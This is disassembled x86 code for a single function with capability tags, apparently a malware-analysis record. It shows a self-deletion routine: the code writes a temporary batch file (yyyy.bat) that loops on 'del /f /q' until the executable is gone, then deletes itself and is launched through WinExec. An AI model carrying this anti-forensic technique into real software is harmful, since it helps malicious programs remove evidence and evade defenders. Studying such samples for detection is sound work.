Function at 0x403cc0
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Get common file path
Self delete

Disassembly:
push 0xffffffffffffffff
push 0x41df92
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x260
mov eax, dword [0x426e28]
push ebx
push ebp
push esi
mov dword [esp + 0x10], eax
xor ebp, ebp
mov dword [esp + 0x18], eax
mov dword [esp + 0x274], ebp
push 0x104
lea ecx, [esp + 0x1c]
mov byte [esp + 0x278], 1
call fcn.00415bef
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call fcn.00415c3e
push 0x104
push 0x104
lea ecx, [esp + 0x18]
call fcn.00415bef
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call fcn.00415c3e
push 0x5c
lea ecx, [esp + 0x14]
call fcn.004141f7
push eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x18]
call fcn.0041404a
mov esi, dword [esp + 0x10]
push 0x104
push 0x104
lea ecx, [esp + 0x18]
mov byte [esp + 0x27c], 2
call fcn.00415bef
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call fcn.00415c3e
lea ecx, [esp + 0x28]
call fcn.00418da5
lea ecx, [esp + 0x18]
push str.yyyy.bat
lea edx, [esp + 0x18]
mov ebx, 3
push ecx
push edx
mov byte [esp + 0x280], bl
call fcn.00415a54
mov eax, dword [eax]
push ebp
push 0x1002
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x280], 4
call fcn.00418e1a
lea ecx, [esp + 0x14]
mov esi, eax
mov byte [esp + 0x274], bl
call fcn.0041580b
cmp esi, ebp
je 0x4040a6
push str._echo_off_n
lea ecx, [esp + 0x2c]
call fcn.00418f8d
push str.:err_n
lea ecx, [esp + 0x2c]
call fcn.00418f8d
lea eax, [esp + 0x10]
lea ecx, [esp + 0x20]
push eax
push str.del__f__q
push ecx
call fcn.00415ac8
push 0x426c7c
lea edx, [esp + 0x18]
push eax
push edx
mov byte [esp + 0x280], 5
call fcn.00415a54
mov eax, dword [eax]
lea ecx, [esp + 0x28]
push eax
mov byte [esp + 0x278], 6
call fcn.00418f8d
lea ecx, [esp + 0x14]
mov byte [esp + 0x274], 5
call fcn.0041580b
lea ecx, [esp + 0x20]
mov byte [esp + 0x274], bl
call fcn.0041580b
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push str.if_exist
push ecx
call fcn.00415ac8
push str._goto_err_n
lea edx, [esp + 0x24]
push eax
push edx
mov byte [esp + 0x280], 7
call fcn.00415a54
mov eax, dword [eax]
lea ecx, [esp + 0x28]
push eax
mov byte [esp + 0x278], 8
call fcn.00418f8d
lea ecx, [esp + 0x20]
mov byte [esp + 0x274], 7
call fcn.0041580b
lea ecx, [esp + 0x14]
mov byte [esp + 0x274], bl
call fcn.0041580b
push 0x5c
lea ecx, [esp + 0x14]
call fcn.004141f7
push eax
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
call fcn.0041417f
mov esi, eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x24]
push ecx
push str.copy
push edx
mov byte [esp + 0x280], 9
call fcn.00415ac8
push str.yyyy
push eax
lea eax, [esp + 0x44]
mov byte [esp + 0x27c], 0xa
push eax
call fcn.00415a54
push esi
lea ecx, [esp + 0x44]
push eax
push ecx
mov byte [esp + 0x280], 0xb
call fcn.004159ee
lea edx, [esp + 0x1c]
mov byte [esp + 0x274], 0xc
push edx
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.004159ee
push 0x426c7c
lea ecx, [esp + 0x24]
push eax
push ecx
mov byte [esp + 0x280], 0xd
call fcn.00415a54
mov eax, dword [eax]
lea ecx, [esp + 0x28]
push eax
mov byte [esp + 0x278], 0xe
call fcn.00418f8d
lea ecx, [esp + 0x20]
mov byte [esp + 0x274], 0xd
call fcn.0041580b
lea ecx, [esp + 0x14]
mov byte [esp + 0x274], 0xc
call fcn.0041580b
lea ecx, [esp + 0x40]
mov byte [esp + 0x274], 0xb
call fcn.0041580b
lea ecx, [esp + 0x3c]
mov byte [esp + 0x274], 0xa
call fcn.0041580b
lea ecx, [esp + 0x24]
mov byte [esp + 0x274], 9
call fcn.0041580b
lea ecx, [esp + 0xc]
mov byte [esp + 0x274], bl
call fcn.0041580b
lea edx, [esp + 0x18]
lea eax, [esp + 0x24]
push edx
push str.del__f__q
push eax
call fcn.00415ac8
push str.yyyy_n
lea ecx, [esp + 0x10]
push eax
push ecx
mov byte [esp + 0x280], 0xf
call fcn.00415a54
mov eax, dword [eax]
lea ecx, [esp + 0x28]
push eax
mov byte [esp + 0x278], 0x10
call fcn.00418f8d
lea ecx, [esp + 0xc]
mov byte [esp + 0x274], 0xf
call fcn.0041580b
lea ecx, [esp + 0x24]
mov byte [esp + 0x274], bl
call fcn.0041580b
lea edx, [esp + 0x18]
lea eax, [esp + 0x24]
push edx
push str.del__f__q
push eax
call fcn.00415ac8
push str.yyyy.bat_n
mov byte [esp + 0x278], 0x11
push eax
lea ecx, [esp + 0x14]
push ecx
call fcn.00415a54
mov eax, dword [eax]
lea ecx, [esp + 0x28]
push eax
mov byte [esp + 0x278], 0x12
call fcn.00418f8d
lea ecx, [esp + 0xc]
mov byte [esp + 0x274], 0x11
call fcn.0041580b
lea ecx, [esp + 0x24]
mov byte [esp + 0x274], bl
call fcn.0041580b
lea ecx, [esp + 0x28]
call fcn.0041914a
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x48]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea ecx, [esp + 0x20]
stosw word es:[edi], ax
push edx
mov dword [esp + 0x4c], ebp
mov dword [esp + 0x50], 2
call fcn.004158f8
mov edx, dword [esp + 0x20]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea esi, [esp + 0x68]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x10], esi
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, ebx
push 0x426cec
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, edx
lea edx, [esp + 0x20]
mov byte [esp + ecx + 0x6c], al
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov byte [esp + ecx + 0x71], al
lea eax, [esp + 0x18]
lea ecx, [esp + 0x70]
push eax
mov dword [esp + 0x5c], ecx
call fcn.00415a54
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x27c], 0x13
call fcn.004158f8
lea ecx, [esp + 0x10]
mov byte [esp + 0x278], bl
call fcn.0041580b
mov edx, dword [esp + 0x20]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea esi, [esp + 0x16c]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x10], esi
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, ebx
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + ecx + 0x16c], al
mov edi, edx
or ecx, 0xffffffff
lea edx, [esp + 0x48]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov word [esp + 0x5c], 0x214
mov dword [esp + 0x66], ebp
mov byte [esp + ecx + 0x171], al
lea ecx, [esp + 0x170]
mov dword [esp + 0x58], ecx
mov dword [esp + 0x62], ebp
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x1c]
push 0x426cec
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.00415a54
mov eax, dword [eax]
push ebp
push 2
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0x284], 0x14
call fcn.00418e1a
lea ecx, [esp + 0x10]
mov esi, eax
mov byte [esp + 0x278], bl
call fcn.0041580b
cmp esi, ebp
pop edi
je 0x4042cd
push ebp
push 0x7b0
lea ecx, [esp + 0x30]
call fcn.004190c0
push ebp
call fcn.00405e15
push eax
call fcn.00405de6
mov edx, dword [0x426e28]
add esp, 8
mov dword [esp + 0x14], edx
mov byte [esp + 0x274], 0x15
call fcn.00405df3
push eax
call fcn.00405df3
push eax
call fcn.00405df3
push eax
call fcn.00405df3
push eax
lea eax, [esp + 0x24]
push str._d_d_d_d
push eax
call fcn.0041459f
mov eax, dword [esp + 0x2c]
add esp, 0x18
mov ecx, dword [eax - 8]
push ecx
push eax
lea ecx, [esp + 0x30]
call fcn.00418f5a
lea ecx, [esp + 0x28]
call fcn.0041914a
lea ecx, [esp + 0x18]
push str.yyyy.bat
lea edx, [esp + 0x10]
push ecx
push edx
call fcn.00415a54
mov eax, dword [eax]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0xc]
call fcn.0041580b
lea ecx, [esp + 0x14]
mov byte [esp + 0x274], bl
call fcn.0041580b
lea ecx, [esp + 0x28]
mov byte [esp + 0x274], 2
call fcn.00418dd7
lea ecx, [esp + 0x1c]
mov byte [esp + 0x274], 1
call fcn.0041580b
lea ecx, [esp + 0x18]
mov byte [esp + 0x274], 0
call fcn.0041580b
lea ecx, [esp + 0x10]
mov dword [esp + 0x274], 0xffffffff
call fcn.0041580b
mov ecx, dword [esp + 0x26c]
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x26c
ret